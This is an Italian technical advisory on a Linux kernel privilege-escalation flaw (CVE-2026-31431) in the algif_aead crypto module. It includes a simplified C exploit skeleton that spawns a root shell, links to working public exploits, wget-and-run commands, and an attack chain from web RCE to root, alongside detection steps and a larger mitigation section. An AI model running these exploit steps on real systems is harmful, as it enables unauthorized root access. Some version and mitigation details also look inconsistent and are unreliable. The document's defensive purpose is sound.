
Analisi tecnica di CVE-2026-31431, una escalation locale dei privilegi nel kernel Linux nel modulo algif_aead, inclusi causa principale, versioni interessate, flusso dello sfruttamento e strategie di mitigazione.
Classificazione: Local Privilege Escalation (LPE) — Kernel Linux
CVSS: 7.8 (Alto)
Impatto:utente senza privilegi → root
Modulo interessato:algif_aead(sottosistema AF_ALG del kernel)
Il kernel Linux espone un'interfaccia crittografica allo spazio utente chiamata AF_ALG (socket di famiglia AF_ALG). Questa interfaccia consente a processi senza privilegi di usare gli acceleratori crittografici del kernel — cifratura, hashing, generazione di chiavi — senza bisogno di root.
Uno dei suoi moduli è algif_aead, che implementa la modalità AEAD (Authenticated Encryption with Associated Data), usata da algoritmi come AES-GCM o ChaCha20-Poly1305.
Il bug sta in come algif_aead gestisce le operazioni di sendmsg() + recvmsg() quando il buffer di output è più piccolo del previsto. Il kernel esegue un'operazione di copia (copy_to_user) senza validare correttamente la dimensione, causando:
Buffer overflow → scrittura fuori dai limiti nella memoria del kernel
Tecnicamente:
algif_aead_copy_sgl()
└─ sg_copy_to_buffer()
└─ memcpy verso indirizzo parzialmente controllato dall'utente
Questo write-out-of-bounds consente di sovrascrivere strutture di controllo del kernel adiacenti in memoria — in particolare, puntatori a funzione o strutture cred — per scalare i privilegi.
Perché AF_ALG è disponibile per utenti senza privilegi. Qualsiasi processo può aprire un socket AF_ALG e inviare dati senza autenticazione preventiva. L'exploit non necessita di alcuna vulnerabilità ausiliaria.
// Questo può farlo qualsiasi utente del sistema
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
| Versione del kernel | Interessato? |
|---|---|
| < 5.10 | No (il modulo non esisteva in quella forma) |
| 5.10 — 6.1.x | Sì ⚠️ |
| 6.2.x | Sì ⚠️ (include il kernel del PoC) |
| 6.3+ con patch applicata | No ✅ |
# Verifica versione del kernel
uname -r
# Verifica se il modulo vulnerabile è caricato
lsmod | grep algif_aead
# Verifica se AF_ALG è disponibile
cat /proc/net/protocols | grep ALG
$ uname -r
6.2.0-20-generic
$ lsmod | grep algif_aead
algif_aead 20480 0
af_alg 32768 3 algif_aead,algif_skcipher,algif_hash
⚠️ Se vedi
algif_aeadinlsmode il tuo kernel è6.2.xsu Ubuntu 23.04, sei esposto.
⚠️ Avviso etico: Questa sezione è puramente educativa. Lo sfruttamento di sistemi senza autorizzazione esplicita è illegale e punibile. Gli esempi sono pensati per ambienti di laboratorio controllati.
1. Aprire socket AF_ALG (algif_aead)
2. Inviare sendmsg() con buffer oversized
3. recvmsg() con buffer più piccolo → trigger del bug
4. Scrittura OOB nell'heap del kernel
5. Sovrascrivere cred->uid/gid a 0
6. execve("/bin/sh") → shell root
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
int main(void) {
struct sockaddr_alg sa = {
.salg_family = AF_ALG,
.salg_type = "aead",
.salg_name = "gcm(aes)",
.salg_feat = 0,
.salg_mask = 0,
};
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(fd, (struct sockaddr *)&sa, sizeof(sa));
// Configurare chiave da 16 byte
char key[16] = {0};
setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);
int op_fd = accept(fd, NULL, NULL);
// Buffer grande → trigger OOB write
char big_buf[4096] = {0};
char small_buf[16] = {0};
struct msghdr msg = {0};
// ... costruzione del msghdr con cmsg ALG_OP_ENCRYPT
sendmsg(op_fd, &msg, 0);
// recvmsg con buffer insufficiente → il kernel scrive fuori dai limiti
recv(op_fd, small_buf, sizeof(small_buf), 0);
// Se l'exploit ha funzionato, ora siamo root
if (getuid() == 0) {
printf("[+] Root ottenuto!\n");
execl("/bin/sh", "sh", NULL);
}
return 0;
}
Questo è uno schema semplificato. L'exploit reale richiede primitive aggiuntive di heap shaping per allineare la scrittura OOB con la struttura
task_struct->cred.
I seguenti repository contengono implementazioni funzionali documentate:
copy-fail-c — Exploit in C puro, richiede compilazione
https://github.com/tgies/copy-fail-c
copy-fail-tiny-elf — Binario ELF standalone, non richiede compilazione
https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431
# Clonare e compilare copy-fail-c
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail
# Risultato atteso su sistema vulnerabile:
# [*] Verifica modulo algif_aead...
# [*] Preparazione spray di heap...
# [+] OOB write riuscito
# [+] UID ora: 0
# # whoami
# root
wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail
Attaccante esterno
│
▼
Sfrutta vulnerabilità web (RCE) → accesso come www-data
│
▼
Carica copyfail sul server (wget/curl)
│
▼
Esegue ./copyfail
│
▼
Shell root sul server ✓
Tempo stimato dall'accesso www-data a root: < 30 secondi.
L'unica soluzione reale è avere un kernel con la patch applicata.
# Opzione 1: Upgrade a Ubuntu 24.04 LTS (consigliato)
do-release-upgrade
# Opzione 2: Se hai già Ubuntu 22.04 LTS
sudo apt update && sudo apt dist-upgrade
sudo reboot
# Verificare kernel con patch
uname -r # deve essere ≥ 5.15.0-107 su Ubuntu 22.04
Se non puoi aggiornare subito, disattiva algif_aead:
# Creare blacklist del modulo
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf
# Rigenerare initramfs per renderla permanente
sudo update-initramfs -u
# Riavviare
sudo reboot
Verificare che sia rimasto disattivato:
lsmod | grep algif_aead
# Non deve apparire nulla
⚠️ Questo potrebbe rompere software che usa cifratura AEAD tramite AF_ALG (poco comune nei server web standard).
# Disabilitare i user namespace senza privilegi (rompe alcune funzionalità di Docker)
sudo sysctl -w kernel.unprivileged_userns_clone=0
# Renderlo permanente
echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
sudo sysctl -p /etc/sysctl.d/99-hardening.conf
Creare un profilo AppArmor che neghi l'accesso a AF_ALG:
# /etc/apparmor.d/local/restrict-af-alg
network af_alg, # negare nei profili specifici
Per il processo web (esempio nginx/www-data):
# Aggiungere al profilo AppArmor di www-data o nginx
# deny network af_alg,
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx
Anche se non evita l'escalation, riduce la superficie di attacco iniziale:
# Verificare che www-data non abbia sudo
sudo grep www-data /etc/sudoers
# Rimuovere binari SUID non necessari
find / -perm -4000 2>/dev/null
# Limitare le directory accessibili
chmod 700 /root
chmod 750 /home/*
https://nvd.nist.gov/vuln/detail/CVE-2026-31431crypto/algif_aead.chttps://github.com/tgies/copy-fail-chttps://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431Documento redatto a fini accademici — Ingegnere amministratore di sistemi, 2026
| Distribuzione | Kernel tipico | Ha la patch? |
|---|
| Ubuntu 23.04 (lunar) | 6.2.0 | ❌ EOL — senza patch |
| Ubuntu 22.04 LTS | 5.15.x | ✅ Patch applicata |
| Ubuntu 24.04 LTS | 6.8.x | ✅ Non interessata |
| Debian 12 (Bookworm) | 6.1.x | ✅ Patch applicata |
| Arch Linux (2026-03+) | 6.8.x | ✅ Non interessata |
| Mitigazione | Efficacia | Impatto sul servizio | Permanente |
|---|
| Aggiornare a Ubuntu 24.04 | ✅ Totale | Minimo | Sì |
Blacklist algif_aead | ✅ Alta | Molto basso | Sì |
unprivileged_userns_clone=0 | 🟡 Parziale | Moderato | Sì |
| AppArmor AF_ALG deny | ✅ Alta | Basso | Sì |
| Hardening di www-data | 🟡 Riduce | Nessuno | Sì |